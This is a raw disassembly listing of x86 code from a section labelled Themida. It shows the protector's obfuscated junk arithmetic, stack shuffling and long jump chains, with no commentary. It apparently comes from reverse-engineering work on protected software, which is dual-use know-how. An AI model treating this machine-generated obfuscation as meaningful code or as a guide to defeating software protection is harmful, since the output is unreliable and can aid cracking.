loc_586923: ; CODE XREF: Themida_:00589D16j
add esp, 4
add al, 86h
jmp loc_583714
; ---------------------------------------------------------------------------
loc_586930: ; CODE XREF: Themida_:00586F47j
mov ebp, esp
push edx
mov edx, 4
add ebp, edx
pop edx
add ebp, 4
xchg ebp, [esp]
jmp loc_5838AD
; ---------------------------------------------------------------------------
loc_586946: ; CODE XREF: Themida_:005881ACj
push ebp
jmp loc_588461
; ---------------------------------------------------------------------------
loc_58694C: ; CODE XREF: Themida_:0058B03Cj
mov [esp], esp
add dword ptr [esp], 4
jmp loc_587E65
; ---------------------------------------------------------------------------
loc_58695B: ; CODE XREF: Themida_:0058DA7Dj
push 399Eh
mov [esp], ecx
push edx
mov edx, 8E5AB8F5h
mov ecx, edx
pop edx
jmp loc_58DE00
; ---------------------------------------------------------------------------
loc_586971: ; CODE XREF: Themida_:005868FAj
add edx, ebx
add edx, 2F187D12h
mov ebx, [esp]
add esp, 4
xor edx, [esp]
xor [esp], edx
jmp loc_583F63
; ---------------------------------------------------------------------------
loc_58698D: ; CODE XREF: Themida_:0058550Dj
push esi
push 51040A7Ch
pop esi
push edi
mov edi, 5DCE6BAFh
dec edi
xor edi, 690804A1h
and edi, 4AB7689Dh
and edi, 4B83638Dh
shl edi, 6
add edi, 306C073Ah
sub esi, edi
pop edi
mov eax, esi
push dword ptr [esp]
jmp loc_58749B
; ---------------------------------------------------------------------------
mov cx, [esp]
push edi
mov edi, esp
push esi
jmp loc_584D9F
; ---------------------------------------------------------------------------
loc_5869D0: ; CODE XREF: Themida_:00584653j
add al, 0B2h
sub al, 64h
push 2375h
mov [esp], edx
jmp loc_58A4E5
; ---------------------------------------------------------------------------
loc_5869E1: ; CODE XREF: Themida_:00586A4Dj
add edi, 4
jmp loc_58A344
; ---------------------------------------------------------------------------
loc_5869EC: ; CODE XREF: Themida_:0058A8CAj
mov [esp], edx
push eax
pushf
jmp loc_58685A
; ---------------------------------------------------------------------------
loc_5869F6: ; CODE XREF: Themida_:0058B6E1j
and ebx, esi
push dword ptr [esp]
pop esi
add esp, 4
or ebx, ebx
jnz loc_584DE4
push 18B6h
mov [esp], esi
jmp loc_58AF0C
; ---------------------------------------------------------------------------
loc_586A17: ; CODE XREF: Themida_:005897ABj
push edx
mov edx, 485C728Fh
add ecx, edx
pop edx
push eax
mov eax, 0
sub eax, ecx
jmp loc_58B86A
; ---------------------------------------------------------------------------
loc_586A2D: ; CODE XREF: Themida_:005823D0j
pop ebp
sub esi, 6FB30E80h
pop edx
jmp loc_58365F
; ---------------------------------------------------------------------------
loc_586A3A: ; CODE XREF: Themida_:0058B3BAj
add ebx, 4
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
pop esp
add edi, 4
jmp loc_5869E1
; ---------------------------------------------------------------------------
loc_586A52: ; CODE XREF: Themida_:005829FCj
add esp, 4
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
push dword ptr [esp]
pop eax
add esp, 4
jmp loc_584532
; ---------------------------------------------------------------------------
loc_586A6D: ; CODE XREF: Themida_:0058B5A8j
xchg edx, [esp]
pop esi
jmp loc_5859DC
; ---------------------------------------------------------------------------
loc_586A76: ; CODE XREF: Themida_:00584212j
add esp, 4
mov bx, [esp]
add esp, 2
jmp loc_58ABAF
; ---------------------------------------------------------------------------
lodsd
xor eax, ebx
push edx
push esi
mov esi, 0F5908DAh
neg esi
and esi, 35D71C4Ch
jmp loc_583B8A
; ---------------------------------------------------------------------------
loc_586AA2: ; CODE XREF: Themida_:0058BD6Dj
push 741A03C4h
pop ecx
push ebx
mov ebx, 4A863C0Ch
push ebx
mov ebx, 0E3500C9h
sub ecx, ebx
pop ebx
add ecx, 1F5249B8h
sub ecx, 24EC7D57h
sub ecx, ebx
add ecx, 24EC7D57h
sub ecx, 1F5249B8h
push esi
mov esi, 51B77CA2h
shl esi, 1
or esi, 246456E5h
sub esi, 9939FF1Ch
add ecx, esi
pop esi
jmp loc_584DF4
; ---------------------------------------------------------------------------
loc_586AED: ; CODE XREF: Themida_:0058742Ej
push ecx
mov ecx, 3514001Fh
jmp loc_58322C
; ---------------------------------------------------------------------------
push 4BC7h
jmp loc_58B184
; ---------------------------------------------------------------------------
mov sp, [esp]
jmp loc_589D72
; ---------------------------------------------------------------------------
loc_586B0B: ; CODE XREF: Themida_:00585DA1j
mov esi, [esp]
add esp, 4
add esp, 4
push ebx
mov ebx, esp
jmp loc_588827
; ---------------------------------------------------------------------------
loc_586B1C: ; CODE XREF: Themida_:005892B1j
add edx, ebx
sub edx, 7A0B4291h
jmp loc_585AFF
; ---------------------------------------------------------------------------
loc_586B29: ; CODE XREF: Themida_:00588154j
add eax, 793B3CC7h
add eax, 5F9E70AFh
add eax, 283B602Dh
sub eax, esi
sub eax, 283B602Dh
push edx
mov edx, 5F9E70AFh
sub eax, edx
jmp loc_5884E3
; ---------------------------------------------------------------------------
loc_586B4C: ; CODE XREF: Themida_:0058395Bj
add edi, edx
jmp loc_581DFC
; ---------------------------------------------------------------------------
loc_586B53: ; CODE XREF: Themida_:00582F73j
add edx, ebp
pop ebp
jmp loc_5841FE
; ---------------------------------------------------------------------------
loc_586B5B: ; CODE XREF: Themida_:0058877Fj
push esi
jmp loc_589171
; ---------------------------------------------------------------------------
loc_586B61: ; CODE XREF: Themida_:0058A34Dj
push esi
mov esi, 1DAC1A42h
jmp loc_587186
; ---------------------------------------------------------------------------
loc_586B6C: ; CODE XREF: Themida_:005855B2j
add ecx, 2
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
pop esp
mov cx, [esp]
push eax
push 7DD7h
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
pop eax
push ecx
mov ecx, 678B28F2h
jmp loc_58BB99
; ---------------------------------------------------------------------------
mov ax, [esp]
push eax
mov eax, esp
add eax, 4
push 2510h
mov [esp], esi
push eax
push 44234DF3h
jmp loc_588762
; ---------------------------------------------------------------------------
loc_586BB6: ; CODE XREF: Themida_:0058908Fj
push esi
jmp loc_58685F
; ---------------------------------------------------------------------------
loc_586BBC: ; CODE XREF: Themida_:00587E8Ej
add esp, 4
jmp loc_58896F
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov eax, [esp]
push edx
mov edx, esp
push eax
mov eax, 12018Bh
jmp loc_587C98
; ---------------------------------------------------------------------------
loc_586BDB: ; CODE XREF: Themida_:0058A05Bj
sub al, 23h
pop ecx
add al, 0ACh
add al, 0F3h
add al, bl
sub al, 0F3h
sub al, 0ACh
add al, 5Ch
push 5639h
mov [esp], ecx
push edx
mov dl, 0F0h
push edx
jmp loc_5837BA
; ---------------------------------------------------------------------------
lodsd
push 1D31h
mov [esp], edx
sub esp, 4
mov [esp], edi
mov edi, 57BD10CFh
not edi
shl edi, 5
sub edi, 0A9A17DC1h
push esi
push edi
jmp loc_58B04C
; ---------------------------------------------------------------------------
loc_586C21: ; CODE XREF: Themida_:0058C7D8j
push ecx
mov ecx, 4C285F65h
jmp loc_586C6E
; ---------------------------------------------------------------------------
loc_586C2C: ; CODE XREF: Themida_:005834D7j
push esi
mov esi, esp
push eax
jmp loc_587637
; ---------------------------------------------------------------------------
mov cx, [esp]
sub esp, 4
mov [esp], ecx
push esp
jmp loc_5821DC
; ---------------------------------------------------------------------------
loc_586C48: ; CODE XREF: Themida_:0058438Cj
pop bx
sub dh, 0B4h
push dx
mov dh, 92h
push bx
mov bl, 0B1h
add al, bl
pop bx
add al, dh
push edx
mov dl, 0E8h
jmp loc_58315E
; ---------------------------------------------------------------------------
loc_586C63: ; CODE XREF: Themida_:0058A2A0j
sub edi, 4
xchg edi, [esp]
jmp loc_582D23
; ---------------------------------------------------------------------------
loc_586C6E: ; CODE XREF: Themida_:00586C27j
mov ebx, ecx
pop ecx
push ebp
mov ebp, 198032DFh
sub [esp+8], ebp
pop ebp
sub [esp+4], ebx
add dword ptr [esp+4], 198032DFh
mov ebx, [esp]
add esp, 4
pop eax
push 7FB9h
mov [esp], ebx
mov ebx, 58FA15A9h
inc ebx
not ebx
add ebx, 0A5227510h
jmp loc_5866B9
; ---------------------------------------------------------------------------
loc_586CAD: ; CODE XREF: Themida_:005842D1j
push edx
mov edx, 3B1F1993h
add edx, 0C4E0E671h
sub ebp, edx
pop edx
jmp loc_58CC7F
; ---------------------------------------------------------------------------
loc_586CC1: ; CODE XREF: Themida_:0058A97Aj
add eax, 44113D73h
pop edx
sub esp, 4
mov [esp], ebp
mov ebp, 4FA80CD9h
jmp loc_5826BF
; ---------------------------------------------------------------------------
lodsd
sub eax, 1E5047AAh
sub esp, 4
mov [esp], edx
push ebp
jmp loc_583E53
; ---------------------------------------------------------------------------
loc_586CEF: ; CODE XREF: Themida_:00589734j
pop ecx
jmp loc_58A336
; ---------------------------------------------------------------------------
loc_586CF5: ; CODE XREF: Themida_:005870B7j
mov esi, 3F7D6A59h
jmp loc_58C347
; ---------------------------------------------------------------------------
loc_586CFF: ; CODE XREF: Themida_:00585142j
xor esi, 0A7DF5E1Ch
xor ebx, esi
jmp loc_58C9B1
; ---------------------------------------------------------------------------
loc_586D0C: ; CODE XREF: Themida_:00586D68j
add ecx, eax
jmp loc_58D624
; ---------------------------------------------------------------------------
loc_586D13: ; CODE XREF: Themida_:0058CC02j
add esp, 4
jmp loc_587DAA
; ---------------------------------------------------------------------------
loc_586D1E: ; CODE XREF: Themida_:00582D7Aj
add ecx, 2
xchg ecx, [esp]
jmp loc_58A8FB
; ---------------------------------------------------------------------------
loc_586D2C: ; CODE XREF: Themida_:0058A0F8j
pop dword ptr [eax]
add dword ptr [eax], 35F33DE3h
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_586D39: ; CODE XREF: Themida_:0058D9C1j
dec bh
or bh, 83h
xor bh, 9Eh
xor bh, 1Fh
jmp loc_5880B9
; ---------------------------------------------------------------------------
loc_586D49: ; CODE XREF: Themida_:0058768Aj
mov eax, 38D742EEh
dec eax
shr eax, 6
add eax, 60B91939h
sub eax, 619C7640h
add ecx, 5B987200h
sub ecx, 485C6Fh
jmp loc_586D0C
; ---------------------------------------------------------------------------
loc_586D6D: ; CODE XREF: Themida_:00584E47j
push esi
push esp
pop esi
add esi, 4
jmp loc_58AF16
; ---------------------------------------------------------------------------
loc_586D7B: ; CODE XREF: Themida_:0058BDFAj
push esp
mov edi, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
jmp loc_588A5C
; ---------------------------------------------------------------------------
loc_586D93: ; CODE XREF: Themida_:00584BA6j
add eax, ebp
sub esp, 4
mov [esp], edi
mov edi, 5A7C2120h
not edi
jmp loc_5825BB
; ---------------------------------------------------------------------------
loc_586DA7: ; CODE XREF: Themida_:005886E9j
pop esp
mov [esp], esi
jmp loc_583272
; ---------------------------------------------------------------------------
loc_586DB0: ; CODE XREF: Themida_:00586287j
xor eax, 6FAD69A8h
add eax, 26E22942h
xor eax, 5DFE40DBh
push edx
mov edx, 47970130h
sub eax, edx
jmp loc_58543F
; ---------------------------------------------------------------------------
loc_586DCC: ; CODE XREF: Themida_:00589B26j
pop esi
sub ecx, esi
jmp loc_58B3BF
; ---------------------------------------------------------------------------
loc_586DD4: ; CODE XREF: Themida_:0058A436j
mov ebp, 7DD83362h
jmp loc_5858BB
; ---------------------------------------------------------------------------
loc_586DDE: ; CODE XREF: Themida_:0058B76Cj
mov dh, bh
jmp loc_586477
; ---------------------------------------------------------------------------
loc_586DE5: ; CODE XREF: Themida_:0058D896j
xor ecx, 76360FEAh
jmp loc_58BA6D
; ---------------------------------------------------------------------------
loc_586DF0: ; CODE XREF: Themida_:005871FDj
sub esp, 4
mov [esp], eax
mov eax, 8191D6Bh
sub esi, eax
pop eax
jmp loc_584EFD
; ---------------------------------------------------------------------------
loc_586E03: ; CODE XREF: Themida_:00584CD5j
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_586E08: ; CODE XREF: Themida_:005899F1j
push edi
mov edi, 7CA52B17h
jmp loc_58D0A8
; ---------------------------------------------------------------------------
loc_586E13: ; CODE XREF: Themida_:0058B004j
pop esp
xor [esp], bp
xor bp, [esp]
xor [esp], bp
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_586E25: ; CODE XREF: Themida_:0058A15Cj
pop edx
jmp loc_585512
; ---------------------------------------------------------------------------
loc_586E2B: ; CODE XREF: Themida_:0058D028j
add ecx, edx
pop edx
sub ecx, 7C5E7052h
add ecx, edi
add ecx, 7C5E7052h
push edx
mov edx, 0
add edx, ecx
mov [edx], al
pop edx
jmp loc_58BE72
; ---------------------------------------------------------------------------
loc_586E4C: ; CODE XREF: Themida_:0058A074j
pop edx
push edx
mov edx, esp
add edx, 4
jmp loc_589C5A
; ---------------------------------------------------------------------------
loc_586E5B: ; CODE XREF: Themida_:00582ED6j
mov [esp], ecx
mov ecx, esp
jmp loc_589A80
; ---------------------------------------------------------------------------
loc_586E65: ; CODE XREF: Themida_:0058846Fj
xor edx, 4DA82470h
mov ebp, edx
pop edx
sub eax, 0D626E2Eh
add eax, 2E6E2E5Ch
sub eax, 6C420FB6h
sub eax, ebp
add eax, 6C420FB6h
sub eax, 2E6E2E5Ch
add eax, 0D626E2Eh
pop ebp
jmp loc_58A925
; ---------------------------------------------------------------------------
loc_586E94: ; CODE XREF: Themida_:00581918j
push 4A72h
mov [esp], ecx
mov ecx, esp
push eax
mov eax, 7B5C03E5h
xor eax, 778200CEh
sub eax, 5DD93C0Dh
jmp loc_58C743
; ---------------------------------------------------------------------------
loc_586EB3: ; CODE XREF: Themida_:005822ABj
pop ebx
push 45B3h
mov [esp], ecx
mov ecx, 2028E0h
shl ecx, 1
xor ecx, 632E232Bh
sub ebp, ecx
pop ecx
shl ebp, 6
push ebx
mov ebx, 151E30FFh
sub ebp, ebx
pop ebx
jmp loc_5837F7
; ---------------------------------------------------------------------------
loc_586EDD: ; CODE XREF: Themida_:00587A5Bj
sub eax, esi
add eax, 56AD740Ah
pop esi
jmp loc_58AF97
; ---------------------------------------------------------------------------
loc_586EEA: ; CODE XREF: Themida_:0058CB79j
pop edi
sub edx, ecx
jmp loc_585B72
; ---------------------------------------------------------------------------
loc_586EF2: ; CODE XREF: Themida_:0058B367j
add ebx, eax
pop eax
push 6EB8h
mov [esp], ebx
mov ebx, 15F822C6h
sub [esp+8], ebx
mov ebx, [esp]
jmp loc_58B913
; ---------------------------------------------------------------------------
loc_586F0E: ; CODE XREF: Themida_:0058280Bj
mov cl, 0B2h
sub cl, 1Dh
jmp loc_585319
; ---------------------------------------------------------------------------
pop small word ptr [edx]
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_586F20: ; CODE XREF: Themida_:00585296j
pop ebp
push edi
push ebx
mov ebx, 4
mov edi, ebx
pop ebx
add ebp, edi
jmp loc_58C0D9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5F0C13
loc_586F32: ; CODE XREF: sub_5F0C13-6851Fj
push eax
mov ah, 29h
jmp loc_58539A
; END OF FUNCTION CHUNK FOR sub_5F0C13
; ---------------------------------------------------------------------------
loc_586F3A: ; CODE XREF: Themida_:00586472j
pop ecx
shr edx, 4
jmp loc_58B2A4
; ---------------------------------------------------------------------------
loc_586F43: ; CODE XREF: Themida_:00586706j
mov ebp, [esp]
push ebp
jmp loc_586930
; ---------------------------------------------------------------------------
loc_586F4C: ; CODE XREF: Themida_:005858E2j
push edx
mov edx, 44BF6514h
push ebp
push eax
push edx
mov edx, 771D67D3h
mov eax, edx
pop edx
push ebp
mov ebp, 612311DFh
shr ebp, 5
shl ebp, 3
jmp loc_58A6E7
; ---------------------------------------------------------------------------
loc_586F6E: ; CODE XREF: Themida_:0058CABFj
dec byte ptr [esp]
pushf
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_586F77: ; CODE XREF: Themida_:00587387j
mov [esp], edx
mov edx, 2D9E4F20h
add ebx, edx
pop edx
mov dx, [esp]
push esi
sub esp, 4
jmp loc_5881B9
; ---------------------------------------------------------------------------
loc_586F8F: ; CODE XREF: Themida_:0058BC19j
mov eax, 31462078h
dec eax
inc eax
sub eax, 7C47BC9h
push ebp
push eax
jmp loc_583100
; ---------------------------------------------------------------------------
loc_586FA2: ; CODE XREF: Themida_:00583E38j
add ebp, 4
jmp loc_582251
; ---------------------------------------------------------------------------
loc_586FAD: ; CODE XREF: Themida_:0058853Bj
sub esp, 4
mov [esp], esp
push esi
mov esi, 4
add [esp+4], esi
pop esi
jmp loc_58C3C6
; ---------------------------------------------------------------------------
loc_586FC6: ; CODE XREF: Themida_:00589BFBj
mov ecx, [esp]
jmp loc_58C293
; ---------------------------------------------------------------------------
mov cx, [esp]
push eax
push esp
pop eax
push 47BEh
mov [esp], edx
sub esp, 4
mov [esp], ecx
mov ecx, 201F0E3Fh
mov edx, ecx
pop ecx
sub edx, 201F0E3Bh
jmp loc_5832A9
; ---------------------------------------------------------------------------
loc_586FF6: ; CODE XREF: Themida_:00586442j
add ecx, edx
sub ecx, 6FCE0749h
pop edx
sub esp, 4
mov [esp], ecx
push dword ptr [esp+4]
pop ecx
jmp loc_58D9F6
; ---------------------------------------------------------------------------
loc_58700F: ; CODE XREF: Themida_:005829ACj
add [esp+4], esi
add dword ptr [esp+4], 7A0845ECh
mov esi, [esp]
add esp, 4
pop dword ptr [esp]
push edi
push ecx
jmp loc_581F05
; ---------------------------------------------------------------------------
loc_58702E: ; CODE XREF: Themida_:0058AE12j
add dword ptr [esp], 4
pop ebx
add ebx, 4
push ebp
push edx
mov edx, 40BF38C8h
push ebp
jmp loc_5845E3
; ---------------------------------------------------------------------------
loc_587046: ; CODE XREF: Themida_:0058C3D9j
push ecx
jmp loc_584CA2
; ---------------------------------------------------------------------------
loc_58704C: ; CODE XREF: Themida_:00588E56j
add esp, 4
sub esp, 4
jmp loc_584F8A
; ---------------------------------------------------------------------------
loc_58705A: ; CODE XREF: Themida_:00586855j
mov edx, [esp]
add esp, 4
push ecx
push eax
jmp loc_58DC95
; ---------------------------------------------------------------------------
loc_58706A: ; CODE XREF: Themida_:0058B3D2j
xor ebp, 2CFC18F7h
mov edx, ebp
pop ebp
xor [esp+4], edx
pop edx
pop edx
push ebp
mov ebp, 5E240E70h
push esi
mov esi, 545F6D59h
neg esi
push ecx
push ebp
jmp loc_58556B
; ---------------------------------------------------------------------------
loc_58708E: ; CODE XREF: Themida_:0058919Cj
push ebp
jmp loc_5824B7
; ---------------------------------------------------------------------------
loc_587094: ; CODE XREF: Themida_:005837F2j
push 3E31h
mov [esp], ebx
mov ebx, 7E8B4E94h
add ebx, 87A50C64h
push edi
mov edi, 67C02A45h
sub ebx, edi
pop edi
xor ebx, 3195084Fh
push esi
jmp loc_586CF5
; ---------------------------------------------------------------------------
loc_5870BC: ; CODE XREF: Themida_:00589469j
xchg esi, [esp]
pop esp
mov [esp], ebx
xor dword ptr [esp], 4B387622h
jmp loc_5822D7
; ---------------------------------------------------------------------------
loc_5870CF: ; CODE XREF: Themida_:0058B072j
sub esp, 4
mov [esp], eax
push 0DA836AAFh
pop eax
sub ebx, eax
pop eax
mov edi, ebx
pop ebx
push ebp
push ecx
push 41403927h
pop ecx
dec ecx
sub ecx, 2C8D73D1h
add ecx, 1AD6B674h
jmp loc_5828EF
; ---------------------------------------------------------------------------
loc_5870FE: ; CODE XREF: Themida_:0058A4FEj
mov esi, [esp]
add esp, 4
push eax
push esp
pop eax
push ebx
mov ebx, 7AAB06C9h
sub ebx, 478604E4h
push edi
mov edi, 4FC1334Dh
jmp loc_589F66
; ---------------------------------------------------------------------------
loc_58711E: ; CODE XREF: Themida_:0058BFD0j
pop esp
add ebp, 0A6EDB25Ah
add ecx, ebp
pop ebp
jmp loc_582C70
; ---------------------------------------------------------------------------
loc_58712D: ; CODE XREF: Themida_:0058921Aj
add edi, 4
xchg edi, [esp]
pop esp
push esi
mov esi, esp
add esi, 4
jmp loc_58B71E
; ---------------------------------------------------------------------------
loc_587145: ; CODE XREF: Themida_:005822D2j
pop eax
add esi, edi
pop edi
sub ecx, 1EE5044Ah
add ecx, esi
push edi
mov edi, 1EE5044Ah
jmp loc_5837C5
; ---------------------------------------------------------------------------
loc_58715C: ; CODE XREF: Themida_:0058CA02j
sub ebx, 44A727EBh
add edi, ebx
pop ebx
sub edi, 2
push edi
push dword ptr [esp+4]
jmp loc_5860B8
; ---------------------------------------------------------------------------
loc_587175: ; CODE XREF: Themida_:0058D11Aj
xor ebp, 1730748Dh
sub ebp, 5A84C54Bh
jmp loc_585263
; ---------------------------------------------------------------------------
loc_587186: ; CODE XREF: Themida_:00586B67j
xor esi, 44C34456h
not esi
add esi, 238265EDh
jmp loc_583C92
; ---------------------------------------------------------------------------
loc_587199: ; CODE XREF: Themida_:00583762j
sub ebx, edx
sub ebx, 1AE54C70h
pop edx
add ebx, edi
add ebx, 367119CFh
pop edi
jmp loc_58B937
; ---------------------------------------------------------------------------
loc_5871B0: ; CODE XREF: Themida_:0058206Ej
push ebp
mov ebp, 10FF0A9Ah
inc ebp
neg ebp
add ebp, 11E1A636h
xor esi, ebp
pop ebp
add eax, esi
pop esi
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
pop esp
jmp loc_58DC19
; ---------------------------------------------------------------------------
loc_5871D4: ; CODE XREF: Themida_:00584900j
pop ecx
add eax, edx
sub eax, 33722350h
add eax, 1801012Ch
mov dword ptr [eax], 0
jmp loc_5855FF
; ---------------------------------------------------------------------------
lodsd
cmp dword ptr [edi+20h], 0
jz loc_583A9A
add esi, 786B65B2h
jmp loc_586DF0
; ---------------------------------------------------------------------------
loc_587202: ; CODE XREF: Themida_:00583C38j
sub eax, esi
pop esi
add eax, 7DD83362h
sub esp, 4
mov [esp], esi
push eax
mov eax, 51813218h
neg eax
jmp loc_5847DE
; ---------------------------------------------------------------------------
loc_587220: ; CODE XREF: Themida_:00583246j
sub eax, 3DA46FBCh
sub eax, ecx
jmp loc_58CFC4
; ---------------------------------------------------------------------------
sub bl, 1Fh
jmp loc_588331
; ---------------------------------------------------------------------------
loc_587234: ; CODE XREF: Themida_:0058A621j
mov ecx, [esp]
jmp loc_5854B3
; ---------------------------------------------------------------------------
loc_58723C: ; CODE XREF: Themida_:00583BFBj
add edx, 2FBE53FCh
jmp loc_583D70
; ---------------------------------------------------------------------------
loc_587247: ; CODE XREF: Themida_:0058482Bj
sub bl, 93h
push eax
mov ah, 3
add bl, ah
pop eax
sub bl, 6
push ecx
jmp loc_5888D9
; ---------------------------------------------------------------------------
loc_587259: ; CODE XREF: Themida_:00584D37j
or ecx, 55464966h
not ecx
xor ecx, 2EF55430h
sub ecx, 10CB2C61h
neg ecx
jmp loc_58A834
; ---------------------------------------------------------------------------
loc_587274: ; CODE XREF: Themida_:0058B4E6j
mov dx, [esp]
push 0AFDh
mov [esp], ecx
push esp
pop ecx
add ecx, 4
push 4FE4h
mov [esp], esi
push ecx
mov ecx, 1FFC0656h
mov esi, 1FFC0658h
sub esi, ecx
mov ecx, [esp]
add esp, 4
add ecx, esi
push dword ptr [esp]
pop esi
add esp, 4
xor ecx, [esp]
xor [esp], ecx
jmp loc_58D189
; ---------------------------------------------------------------------------
loc_5872BA: ; CODE XREF: Themida_:00588E85j
mov cl, 12h
push ecx
xchg ah, [esp]
not ah
push edx
mov dl, ah
mov ah, [esp+4]
mov [esp+4], dl
pop edx
pop ecx
and cl, 0F0h
push eax
mov al, 13h
sub al, 0FFh
add al, 7Ah
add cl, al
pop eax
sub al, 66h
jmp loc_58B6D2
; ---------------------------------------------------------------------------
loc_5872E3: ; CODE XREF: Themida_:005863C7j
push 3BBFh
jmp loc_58A764
; ---------------------------------------------------------------------------
loc_5872ED: ; CODE XREF: Themida_:0058C1D6j
mov ax, 7AAh
push si
mov si, 0
jmp loc_582944
; ---------------------------------------------------------------------------
loc_5872FC: ; CODE XREF: Themida_:00585C8Fj
mov esi, [esp]
add esp, 4
sub ecx, edx
pop edx
xchg ecx, [esp]
pop esp
mov [esp], eax
push esi
push 485A245Ah
jmp loc_585CF2
; ---------------------------------------------------------------------------
loc_58731A: ; CODE XREF: Themida_:00588292j
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_58731F: ; CODE XREF: Themida_:00589C64j
push ecx
mov ecx, esp
add ecx, 4
push edx
mov edx, 4
sub ecx, edx
pop edx
xchg ecx, [esp]
mov esp, [esp]
mov [esp], esi
jmp loc_5867C3
; ---------------------------------------------------------------------------
loc_58733F: ; CODE XREF: Themida_:0058D033j
add ecx, 62514669h
sub ecx, edi
sub ecx, 62514669h
jmp loc_582602
; ---------------------------------------------------------------------------
loc_587352: ; CODE XREF: Themida_:005866D6j
add [esp], eax
sub dword ptr [esp], 484C0404h
push 9C2h
jmp loc_58CD5C
; ---------------------------------------------------------------------------
loc_587366: ; CODE XREF: Themida_:00582869j
add ebx, eax
push edx
mov edx, 728F6AD7h
add edx, 6C4C322Eh
push edx
jmp loc_58607A
; ---------------------------------------------------------------------------
loc_58737A: ; CODE XREF: Themida_:0058CD57j
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
pop esp
sub esp, 4
jmp loc_586F77
; ---------------------------------------------------------------------------
loc_58738C: ; CODE XREF: Themida_:005839E1j
push dword ptr [esp]
mov eax, [esp]
add esp, 4
add esp, 4
sub edx, 4
jmp loc_583AC1
; ---------------------------------------------------------------------------
loc_5873A6: ; CODE XREF: Themida_:005882DFj
mov ch, bl
pop ebx
add ch, 6Eh
add al, ch
jmp loc_58C126
; ---------------------------------------------------------------------------
loc_5873B3: ; CODE XREF: Themida_:0058848Ej
xchg esi, [esp]
jmp loc_588500
; ---------------------------------------------------------------------------
loc_5873BB: ; CODE XREF: Themida_:0058A3B3j
xor ecx, 8EC1852Eh
add ebp, 4E585587h
sub ebp, ecx
jmp loc_58BA45
; ---------------------------------------------------------------------------
loc_5873CE: ; CODE XREF: Themida_:00582F14j
sub bl, 0F3h
xor dh, bl
pop ebx
add dh, 7Eh
jmp loc_58D549
; ---------------------------------------------------------------------------
loc_5873DC: ; CODE XREF: Themida_:00584EA8j
mov [esp], ebx
mov ebx, 1
and eax, ebx
jmp loc_584FA7
; ---------------------------------------------------------------------------
loc_5873EB: ; CODE XREF: Themida_:0058832Cj
xchg eax, [esp]
jmp loc_58783E
; ---------------------------------------------------------------------------
loc_5873F3: ; CODE XREF: Themida_:0058D679j
mov ch, dl
pop edx
add ch, 97h
jmp loc_58CE09
; ---------------------------------------------------------------------------
loc_5873FE: ; CODE XREF: Themida_:0058759Cj
sub ecx, 786D23C2h
add ecx, ebp
push ebx
jmp loc_5831ED
; ---------------------------------------------------------------------------
loc_58740C: ; CODE XREF: Themida_:0058A0C2j
add edx, ecx
sub edx, 4A3A0D4Dh
jmp loc_583BDE
; ---------------------------------------------------------------------------
lodsd
xor eax, ebx
push esi
mov esi, 1D576665h
or esi, 3804059h
xor esi, 5C83769Fh
jmp loc_586AED
; ---------------------------------------------------------------------------
loc_587433: ; CODE XREF: Themida_:00584D9Aj
add dword ptr [esp], 4
push dword ptr [esp]
pop edi
add esp, 4
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
push 3416h
mov [esp], ecx
push 1EEFh
mov [esp], edi
push 58F8786Bh
pop edi
dec edi
jmp loc_58DFBB
; ---------------------------------------------------------------------------
loc_58746D: ; CODE XREF: Themida_:00582FCCj
add dh, 71h
sub ch, dh
pop edx
sub ch, 0BDh
add al, ch
pop ecx
jmp loc_58B795
; ---------------------------------------------------------------------------
loc_58747E: ; CODE XREF: Themida_:0058763Aj
mov ebp, 4CAB2E99h
and ebp, 4BE6D53h
not ebp
inc ebp
jmp loc_5852A6
; ---------------------------------------------------------------------------
loc_587491: ; CODE XREF: Themida_:00587FC8j
mov bh, 58h
xor dl, bh
pop ebx
jmp loc_5889F5
; ---------------------------------------------------------------------------
loc_58749B: ; CODE XREF: Themida_:005869BEj
pop esi
add esp, 4
push esi
mov esi, 515B240Dh
sub ecx, esi
pop esi
add ecx, 2794B51h
add ecx, eax
sub ecx, 2794B51h
jmp loc_584AF0
; ---------------------------------------------------------------------------
loc_5874BE: ; CODE XREF: Themida_:0058AD04j
mov ecx, 49E49465h
add edi, ecx
pop ecx
mov esi, edi
pop edi
push edi
mov edi, 0B59AAB74h
add esi, edi
jmp loc_588E27
; ---------------------------------------------------------------------------
loc_5874D6: ; CODE XREF: Themida_:0058D32Aj
mov ecx, [esp]
add esp, 4
jmp loc_58DE45
; ---------------------------------------------------------------------------
loc_5874E1: ; CODE XREF: Themida_:00589FACj
mov dl, bl
mov bx, [esp]
add esp, 2
or dl, 6Ah
shl dl, 8
push 35D6h
jmp loc_5843D8
; ---------------------------------------------------------------------------
loc_5874FD: ; CODE XREF: Themida_:005819CBj
add dh, 47h
sub bl, 44h
add bl, dh
push edx
mov dl, 0BDh
neg dl
not dl
neg dl
neg dl
sub dl, 3Bh
xor dl, 0C5h
add bl, dl
mov edx, [esp]
add esp, 4
mov dx, [esp]
add esp, 2
sub bl, al
push ax
push ecx
jmp loc_5896D3
; ---------------------------------------------------------------------------
loc_587535: ; CODE XREF: Themida_:00582238j
sub esi, 2EFA7EC1h
jmp loc_58A6AF
; ---------------------------------------------------------------------------
loc_587540: ; CODE XREF: Themida_:005890FDj
mov esi, 77365551h
push edi
push 2568h
mov [esp], edx
mov edx, 363E281Ch
xor edx, 0CE72752h
jmp loc_58B60D
; ---------------------------------------------------------------------------
loc_58755E: ; CODE XREF: Themida_:0058A3F4j
push eax
mov eax, esp
push 7C16h
mov [esp], ecx
mov ecx, 2D667FB8h
xor ecx, 3B4C5DB5h
push edi
mov edi, 28F704E9h
and ecx, edi
pop edi
shr ecx, 6
and ecx, 2E0B6A37h
add ecx, 0FFFFF804h
add eax, ecx
mov ecx, [esp]
jmp loc_585E9E
